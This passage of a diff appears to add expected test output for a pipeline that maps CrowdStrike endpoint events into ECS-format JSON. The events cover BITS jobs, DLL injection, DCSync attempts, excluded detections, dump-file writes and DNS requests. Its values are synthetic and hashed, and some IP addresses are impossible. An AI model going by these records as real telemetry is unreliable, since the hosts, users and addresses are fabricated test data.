"action": "BITSJobCreated", + "category": [ + "network", + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "eedef0c0fc042e28949c251e42e913cb3fe6|082e3fde13bab854ebe72df7d1543cae|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextThreadId\":\"615659447400000\",\"aip\":\"81.2.69.142\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"3c1edad779c6920ba025d32fc1d69997cc40\",\"RpcClientProcessId\":\"4508060034060\",\"id\":\"eedef0c0fc042e28949c251e42e913cb3fe6\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"BITSJobCreated\",\"ContextTimeStamp\":\"1749668048.903\",\"UserName\":\"d38b4ca4\",\"ConfigStateHash\":\"9968901000\",\"ContextProcessId\":\"3100000500830\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"207001810400038\",\"AuthenticationId\":\"70760008\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RpcOpNum\":\"4\",\"Entitlements\":\"76\",\"name\":\"11cf958b636de07e\",\"aid\":\"082e3fde13bab854ebe72df7d1543cae\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\d38b4ca4\\\\0f51ad6\\\\8c31e\\\\d62f\\\\6\\\\1e547bc1\\\\7c2816f5.crx3\"}", + "outcome": "success", + "type": [ + "connection", + "creation" + ] + }, + "file": { + "directory": "\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1", + "extension": "crx3", + "name": "7c2816f5.crx3", + "path": "\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1\\7c2816f5.crx3", + "type": "file" + }, + "host": { + "id": "082e3fde13bab854ebe72df7d1543cae", + "os": { + "type": "windows" + } + }, + "message": "BITSJobCreated", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "082e3fde13bab854ebe72df7d1543cae", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "3100000500830", + "thread": { + "id": 615659447400000 + } + }, + "related": { + "hash": [ + "9968901000" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "d38b4ca4" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "d38b4ca4" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "50820000", + "ContextProcessId": "1107334096070", + "ContextTimeStamp": "2025-09-10T19:52:08.090Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "76", + "EventOrigin": "1", + "InjectedThreadFlag": "2", + "RawThreadId": "20602", + "SourceThreadStartAddress": "380906022020800", + "TargetThreadId": "104623560606010", + "ThreadStartAddress": "800560009080720", + "ThreadStartContext": "0", + "UserThread": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "f6f3399ea7912626def5330fbc430ff02ac2", + "name": "126bc261e48aa7159043700" + }, + "device": { + "id": "1b044c25005f7f866e92ee245376c69e" + }, + "event": { + "action": "BrowserInjectedThread", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "f6f3399ea7912626def5330fbc430ff02ac2|1b044c25005f7f866e92ee245376c69e|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ThreadStartAddress\":\"800560009080720\",\"InjectedThreadFlag\":\"2\",\"ContextThreadId\":\"500030143990970\",\"aip\":\"89.160.20.128\",\"event_platform\":\"Win\",\"UserThread\":\"1\",\"EventOrigin\":\"1\",\"id\":\"f6f3399ea7912626def5330fbc430ff02ac2\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"BrowserInjectedThread\",\"TargetThreadId\":\"104623560606010\",\"RawProcessId\":\"76850\",\"ContextTimeStamp\":\"1757533928.090\",\"ConfigStateHash\":\"50820000\",\"ContextProcessId\":\"1107334096070\",\"ThreadStartContext\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"7011710205985\",\"Entitlements\":\"76\",\"name\":\"126bc261e48aa7159043700\",\"RawThreadId\":\"20602\",\"aid\":\"1b044c25005f7f866e92ee245376c69e\",\"SourceThreadStartAddress\":\"380906022020800\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "access", + "change" + ] + }, + "host": { + "id": "1b044c25005f7f866e92ee245376c69e", + "os": { + "type": "windows" + } + }, + "message": "BrowserInjectedThread", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "1b044c25005f7f866e92ee245376c69e", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "7011710205985", + "pid": 76850, + "thread": { + "id": 500030143990970 + } + }, + "related": { + "hash": [ + "50820000" + ], + "ip": [ + "89.160.20.128" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ApplicationName": "7371f07", + "CommandCount": 3, + "CommandCountMax": 983, + "CommandHistory": "41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa", + "ConfigStateHash": "7040662006", + "EffectiveTransmissionClass": "3", + "Entitlements": "96", + "EventOrigin": "1", + "FirstCommand": "0", + "LastAdded": "2", + "LastDisplayed": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "7f67dc98da59af9b207392dd643b6696521d", + "name": "b42a7420dfe70b77" + }, + "device": { + "id": "985fa1e64b797b6a5e673a83fdc68828" + }, + "event": { + "action": "CommandHistory", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "7f67dc98da59af9b207392dd643b6696521d|985fa1e64b797b6a5e673a83fdc68828|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"CommandHistory\",\"CommandHistory\":\"41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa\",\"FirstCommand\":\"0\",\"CommandCountMax\":\"983\",\"ApplicationName\":\"7371f07\",\"ConfigStateHash\":\"7040662006\",\"LastDisplayed\":\"0\",\"aip\":\"81.2.69.192\",\"LastAdded\":\"2\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"3502200260267\",\"Entitlements\":\"96\",\"name\":\"b42a7420dfe70b77\",\"EventOrigin\":\"1\",\"id\":\"7f67dc98da59af9b207392dd643b6696521d\",\"CommandCount\":\"3\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"985fa1e64b797b6a5e673a83fdc68828\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "end", + "info" + ] + }, + "host": { + "id": "985fa1e64b797b6a5e673a83fdc68828", + "os": { + "type": "windows" + } + }, + "message": "CommandHistory", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "985fa1e64b797b6a5e673a83fdc68828", + "version": "2c8b.4.bab7095.e6" + }, + "process": { + "entity_id": "3502200260267" + }, + "related": { + "hash": [ + "7040662006" + ], + "ip": [ + "81.2.69.192" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "6420000067", + "ConfigStateHash": "3400520000", + "ContextProcessId": "7067360709400", + "ContextTimeStamp": "2025-06-08T15:55:12.834Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "46", + "EventOrigin": "45", + "ObjectNameEtw": "4355e623406251da1e189448d464d6e80e14d22", + "ObjectTypeEtw": "4355e623406251da1e189448d464d6e80e14d22", + "ServiceAccessPropertiesEtw": "f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9", + "SubjectDomainNameEtw": "61", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "027ea26f253aa77e2fcf588772b9d2d6f37c", + "name": "68a40a05895ff9a35" + }, + "destination": { + "address": "2a02:cf40::2", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40::2" + }, + "device": { + "id": "350ffb0329569649f8bac872d658cbfc" + }, + "event": { + "action": "DCSyncAttempted", + "category": [ + "configuration", + "iam" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "027ea26f253aa77e2fcf588772b9d2d6f37c|350ffb0329569649f8bac872d658cbfc|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"RemoteAddressIP6\":\"2a02:cf40::2\",\"ObjectNameEtw\":\"4355e623406251da1e189448d464d6e80e14d22\",\"aip\":\"81.2.69.144\",\"UserSid\":\"S-25368-38230-13235\",\"event_platform\":\"Win\",\"ObjectTypeEtw\":\"4355e623406251da1e189448d464d6e80e14d22\",\"ClientComputerName\":\"-\",\"EventOrigin\":\"45\",\"id\":\"027ea26f253aa77e2fcf588772b9d2d6f37c\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DCSyncAttempted\",\"ContextTimeStamp\":\"1749398112.834\",\"UserName\":\"1611e7b\",\"ConfigStateHash\":\"3400520000\",\"EtwRawProcessId\":\"835\",\"ContextProcessId\":\"7067360709400\",\"SubjectDomainNameEtw\":\"61\",\"AuthenticationId\":\"6420000067\",\"ServiceAccessPropertiesEtw\":\"f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"Entitlements\":\"46\",\"name\":\"68a40a05895ff9a35\",\"aid\":\"350ffb0329569649f8bac872d658cbfc\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "unknown", + "type": [ + "access" + ] + }, + "host": { + "id": "350ffb0329569649f8bac872d658cbfc", + "os": { + "type": "windows" + } + }, + "message": "DCSyncAttempted", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "350ffb0329569649f8bac872d658cbfc", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "7067360709400", + "pid": 835 + }, + "related": { + "hash": [ + "3400520000" + ], + "ip": [ + "81.2.69.144", + "2a02:cf40::2" + ], + "user": [ + "1611e7b", + "S-25368-38230-13235" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-25368-38230-13235", + "name": "1611e7b" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AllowlistingFilterId": "a3ea8710853f4e1e7", + "BoundingLimitCount": 1, + "BoundingLimitDuration": "3486640", + "ConfigStateHash": "4080600092", + "ContextTimeStamp": "2025-09-16T11:58:18.952Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "56", + "EventCorrelationId": "07103f94d0545ee24951b8c8ce76a5023743", + "EventOrigin": "5", + "ExclusionSource": "5", + "ExclusionType": "1", + "PatternId": "607", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "01a0844d7700635d462669bbadb475d7dcf1", + "name": "b7f0eea0ced34df529cc" + }, + "device": { + "id": "016ef640d4add7c7c7e72a5bfc4198c0" + }, + "event": { + "action": "DetectionExcluded", + "category": [ + "configuration" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "01a0844d7700635d462669bbadb475d7dcf1|016ef640d4add7c7c7e72a5bfc4198c0|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"aip\":\"216.160.83.56\",\"BoundingLimitCount\":\"1\",\"UserSid\":\"S-86813-72426-80065-35729-11846-72517-75085\",\"AllowlistingFilterId\":\"a3ea8710853f4e1e7\",\"event_platform\":\"Win\",\"PatternId\":\"607\",\"EventOrigin\":\"5\",\"ContextData\":\"\",\"id\":\"01a0844d7700635d462669bbadb475d7dcf1\",\"EventCorrelationId\":\"07103f94d0545ee24951b8c8ce76a5023743\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DetectionExcluded\",\"ContextTimeStamp\":\"1758023898.952\",\"ConfigStateHash\":\"4080600092\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"82\\\\ab7e5c1\\\\d24e5507\\\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"TargetProcessId\":\"6010945098000\",\"BoundingLimitDuration\":\"3486640\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\d24e5507\\\\7d7f62b.exe\",\"ExclusionType\":\"1\",\"Entitlements\":\"56\",\"name\":\"b7f0eea0ced34df529cc\",\"ExclusionSource\":\"5\",\"aid\":\"016ef640d4add7c7c7e72a5bfc4198c0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change", + "info" + ] + }, + "host": { + "id": "016ef640d4add7c7c7e72a5bfc4198c0", + "os": { + "type": "windows" + } + }, + "message": "DetectionExcluded", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "016ef640d4add7c7c7e72a5bfc4198c0", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "args": [ + "82\\ab7e5c1\\d24e5507\\12ab4d0.exe", + "/Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}" + ], + "args_count": 2, + "command_line": "82\\ab7e5c1\\d24e5507\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}", + "entity_id": "6010945098000", + "executable": "\\6ba0bd\\447b992c\\d598026\\d24e5507\\7d7f62b.exe", + "name": "7d7f62b.exe" + }, + "related": { + "hash": [ + "4080600092" + ], + "ip": [ + "216.160.83.56" + ], + "user": [ + "S-86813-72426-80065-35729-11846-72517-75085" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-86813-72426-80065-35729-11846-72517-75085" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "710307050", + "ContextProcessId": "7173090406564", + "ContextTimeStamp": "2025-10-03T02:41:24.824Z", + "DesiredAccess": "5065411", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "FileAttributes": "274", + "FileEcpBitmask": "0", + "FileObject": "0", + "HandleCreateAuthenticationId": "4000900", + "Information": "2", + "IrpFlags": "2500", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "Options": "53790000", + "ShareAccess": "3", + "Status": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "245b89777adfd68f4020de1758e56c4467f6", + "name": "b44ad77e88405a082" + }, + "device": { + "id": "cd2ef6603266196efe9f1ac402a1586a" + }, + "event": { + "action": "DirectoryCreate", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "245b89777adfd68f4020de1758e56c4467f6|cd2ef6603266196efe9f1ac402a1586a|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"Options\":\"53790000\",\"ContextThreadId\":\"32005063951800\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.192\",\"FileIdentifier\":\"28476710775acf368038686c22c97be5f159b0efaeb459a6\",\"Information\":\"2\",\"event_platform\":\"Win\",\"ShareAccess\":\"3\",\"EventOrigin\":\"1\",\"id\":\"245b89777adfd68f4020de1758e56c4467f6\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"274\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"DirectoryCreate\",\"ContextTimeStamp\":\"1759459284.824\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"7173090406564\",\"IrpFlags\":\"2500\",\"HandleCreateAuthenticationId\":\"4000900\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"5065411\",\"Entitlements\":\"66\",\"name\":\"b44ad77e88405a082\",\"OperationFlags\":\"0\",\"aid\":\"cd2ef6603266196efe9f1ac402a1586a\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\7392ca2\\\\0f51ad6\\\\813ded8\\\\c7bac469\\\\d598026\\\\43ae32\\\\664edf91\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32", + "inode": "28476710775acf368038686c22c97be5f159b0efaeb459a6", + "name": "664edf91", + "path": "\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32\\664edf91", + "type": "dir" + }, + "host": { + "id": "cd2ef6603266196efe9f1ac402a1586a", + "os": { + "type": "windows" + } + }, + "message": "DirectoryCreate", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "cd2ef6603266196efe9f1ac402a1586a", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "7173090406564", + "thread": { + "id": 32005063951800 + } + }, + "related": { + "hash": [ + "710307050" + ], + "ip": [ + "81.2.69.192" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "540271348", + "ContextProcessId": "3006607000981", + "ContextTimeStamp": "2025-09-18T01:35:28.572Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "96", + "EventOrigin": "1", + "InjectedDll": "82\\9134161b\\f3acb4df\\a89bcae.dll", + "InjectedThreadFlag": "530", + "RawThreadId": "5008", + "TargetThreadId": "505479000700240", + "ThreadStartAddress": "947500501770690", + "ThreadStartContext": "9177300087920", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "92855d0df8f2251c1dfe0bd7d56a97128a25", + "name": "8b6eec62b5f5f7" + }, + "device": { + "id": "8fb3daf730de8e73c353f0c4137a51b5" + }, + "event": { + "action": "DllInjection", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "92855d0df8f2251c1dfe0bd7d56a97128a25|8fb3daf730de8e73c353f0c4137a51b5|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"DllInjection\",\"TargetThreadId\":\"505479000700240\",\"RawProcessId\":\"7310\",\"ThreadStartAddress\":\"947500501770690\",\"InjectedThreadFlag\":\"530\",\"ContextTimeStamp\":\"1758159328.572\",\"ConfigStateHash\":\"540271348\",\"ContextProcessId\":\"3006607000981\",\"ContextThreadId\":\"140004900194068\",\"aip\":\"81.2.69.192\",\"ThreadStartContext\":\"9177300087920\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"3000303437040\",\"Entitlements\":\"96\",\"name\":\"8b6eec62b5f5f7\",\"EventOrigin\":\"1\",\"RawThreadId\":\"5008\",\"id\":\"92855d0df8f2251c1dfe0bd7d56a97128a25\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8fb3daf730de8e73c353f0c4137a51b5\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"InjectedDll\":\"82\\\\9134161b\\\\f3acb4df\\\\a89bcae.dll\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "8fb3daf730de8e73c353f0c4137a51b5", + "os": { + "type": "windows" + } + }, + "message": "DllInjection", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "8fb3daf730de8e73c353f0c4137a51b5", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "3000303437040", + "pid": 7310, + "thread": { + "id": 140004900194068 + } + }, + "related": { + "hash": [ + "540271348" + ], + "ip": [ + "81.2.69.192" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "864", + "ConfigStateHash": "450007109", + "ContextBaseFileName": "77b1704b6a85", + "ContextProcessId": "60860076031000", + "ContextTimeStamp": "2025-05-09T15:22:18.874Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "16", + "EventOrigin": "1", + "FileCategory": "9", + "FileEcpBitmask": "0", + "FileObject": "0", + "FileOperatorSid": "S-13859-13680-73630", + "FileWrittenFlags": "0", + "IrpFlags": "0", + "IsOnNetwork": "0", + "IsOnRemovableDisk": "0", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "b44b58becebd48898306ffd6600bf3f42c16", + "name": "bf62ca8a93b1c6730" + }, + "device": { + "id": "61f77498beebf89847bcda33f8541689" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "b44b58becebd48898306ffd6600bf3f42c16|61f77498beebf89847bcda33f8541689|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"FileOperatorSid\":\"S-13859-13680-73630\",\"ContextBaseFileName\":\"77b1704b6a85\",\"FileCategory\":\"9\",\"Size\":\"50050070\",\"ContextThreadId\":\"600003001070039\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.142\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\c23eadb9\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DmpFileWritten\",\"ContextTimeStamp\":\"1746804138.874\",\"ConfigStateHash\":\"450007109\",\"ContextProcessId\":\"60860076031000\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"864\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"16\",\"name\":\"bf62ca8a93b1c6730\",\"OperationFlags\":\"0\",\"aid\":\"61f77498beebf89847bcda33f8541689\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\d598026\\\\6666d9f1\\\\d140261e\\\\0f51ad6\\\\8c31e\\\\036b01a3\\\\50f6b654.dmp\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "device": "835\\b9e65ff8\\c23eadb9", + "directory": "\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3", + "extension": "dmp", + "inode": "c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae", + "name": "50f6b654.dmp", + "path": "\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3\\50f6b654.dmp", + "size": 50050070, + "type": "file" + }, + "host": { + "id": "61f77498beebf89847bcda33f8541689", + "os": { + "type": "windows" + } + }, + "message": "DmpFileWritten", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "61f77498beebf89847bcda33f8541689", + "version": "2c8b.4.bab7095.e6" + }, + "process": { + "entity_id": "60860076031000", + "name": "77b1704b6a85", + "thread": { + "id": 600003001070039 + } + }, + "related": { + "hash": [ + "450007109" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "S-13859-13680-73630" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-13859-13680-73630" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "CNAMERecords": "0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823", + "ConfigStateHash": "1263130834", + "ContextBaseFileName": "c43bc2658", + "ContextProcessId": "5002051210496", + "ContextTimeStamp": "2025-06-01T02:27:02.996Z", + "DnsRequestCount": 1, + "DnsResponseType": "2", + "DualRequest": "1", + "EffectiveTransmissionClass": "3", + "Entitlements": "56", + "EventOrigin": "1", + "FirstIP4Record": "216.160.83.56", + "IP4Records": "14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;", + "InterfaceIndex": 0, + "QueryStatus": "0", + "RespondingDnsServer": "89.160.20.112", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "77a6567f5ba2f4450eb816e24c5b0258f4b5", + "name": "76e889534419" + }, + "device": { + "id": "98148f3ab8db6d0cad5ad44fc9f4f5c7" + }, + "dns": { + "question": { + "name": "2ca55df2a79d27d771dacfc7ae97", + "type": "CDS" + }, + "type": "query" + }, + "event": { + "action": "DnsRequest", + "category": [ + "network" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "77a6567f5ba2f4450eb816e24c5b0258f4b5|98148f3ab8db6d0cad5ad44fc9f4f5c7|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextBaseFileName\":\"c43bc2658\",\"DnsResponseType\":\"2\",\"IP4Records\":\"14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;\",\"ContextThreadId\":\"908409701000008\",\"aip\":\"81.2.69.142\",\"CNAMERecords\":\"0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823\",\"QueryStatus\":\"0\",\"InterfaceIndex\":\"0\",\"event_platform\":\"Win\",\"DualRequest\":\"1\",\"EventOrigin\":\"1\",\"id\":\"77a6567f5ba2f4450eb816e24c5b0258f4b5\",\"EffectiveTransmissionClass\":\"3\",\"FirstIP4Record\":\"216.160.83.56\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DnsRequest\",\"ContextTimeStamp\":\"1748744822.996\",\"ConfigStateHash\":\"1263130834\",\"ContextProcessId\":\"5002051210496\",\"DomainName\":\"2ca55df2a79d27d771dacfc7ae97\",\"RespondingDnsServer\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"DnsRequestCount\":\"1\",\"Entitlements\":\"56\",\"name\":\"76e889534419\",\"aid\":\"98148f3ab8db6d0cad5ad44fc9f4f5c7\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"RequestType\":\"59\"}", + "outcome": "success", + "type": [ + "protocol" + ] + }, + "host": { + "id": "98148f3ab8db6d0cad5ad44fc9f4f5c7", + "os": { + "type": "windows" + } + }, + "message": "DnsRequest", + "network": { + "protocol": "dns" + }, + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "98148f3ab8db6d0cad5ad44fc9f4f5c7", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "5002051210496", + "name": "c43bc2658", + "thread": { + "id": 908409701000008 + } + }, + "related": { + "hash": [ + "1263130834" + ], + "ip": [ + "81.2.69.142" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "2080025170", 